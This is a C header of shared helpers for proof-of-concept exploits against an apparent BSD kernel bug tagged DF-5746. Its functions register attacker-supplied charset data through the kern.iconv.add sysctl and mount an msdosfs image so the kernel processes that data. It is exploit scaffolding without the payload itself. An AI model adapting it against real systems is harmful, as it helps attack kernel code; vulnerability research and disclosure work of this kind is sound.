/* common_kiconv.h — shared helpers for DF-5746 PoCs
 *
 * Registers charset pairs through the kern.iconv.add sysctl
 * (sys/libiconv/iconv.c:iconv_sysctl_add) and mounts an msdosfs
 * image with KICONV charset args, which makes the kernel
 * msdosfs mount path call iconv_open() on our pairs
 * (sys/vfs/msdosfs/msdosfs_vfsops.c:119-130 update_mp()).
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/sysctl.h>
#include <sys/iconv.h>
#include <vfs/msdosfs/msdosfsmount.h>

#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int
reg_pair(const char *conv, const char *to, const char *from,
    const void *data, int datalen)
{
	struct iconv_add_in din;
	struct iconv_add_out dout;
	size_t olen = sizeof(dout);
	static char buf[ICONV_CSMAXDATALEN];

	memset(&din, 0, sizeof(din));
	din.ia_version = ICONV_ADD_VER;
	strlcpy(din.ia_converter, conv, sizeof(din.ia_converter));
	strlcpy(din.ia_to, to, sizeof(din.ia_to));
	strlcpy(din.ia_from, from, sizeof(din.ia_from));
	din.ia_datalen = datalen;
	if (datalen > 0) {
		if ((size_t)datalen > sizeof(buf))
			errx(1, "datalen too big");
		memcpy(buf, data, datalen);
		din.ia_data = buf;
	}
	if (sysctlbyname("kern.iconv.add", &dout, &olen, &din, sizeof(din)) < 0) {
		warn("sysctl kern.iconv.add (%s:%s)", to, from);
		return (-1);
	}
	printf("[+] registered pair to=%-14s from=%-14s datalen=%5d csid=%d\n",
	    to, from, datalen, dout.ia_csid);
	return (0);
}

static int
mount_kiconv(const char *dev, const char *dir, const char *cs_local,
    const char *cs_dos)
{
	struct msdosfs_args args;

	memset(&args, 0, sizeof(args));
	args.fspec = __DECONST(char *, dev);
	args.uid = 0;
	args.gid = 0;
	args.mask = 0755 & ALLPERMS;
	args.flags = MSDOSFSMNT_KICONV | MSDOSFSMNT_LONGNAME;
	strlcpy(args.cs_local, cs_local, sizeof(args.cs_local));
	strlcpy(args.cs_dos, cs_dos, sizeof(args.cs_dos));

	if (mount("msdos", dir, 0, &args) < 0) {
		warn("mount msdos %s", dev);
		return (-1);
	}
	printf("[+] mounted %s at %s (cs_local=%s cs_dos=%s)\n",
	    dev, dir, cs_local, cs_dos);
	return (0);
}
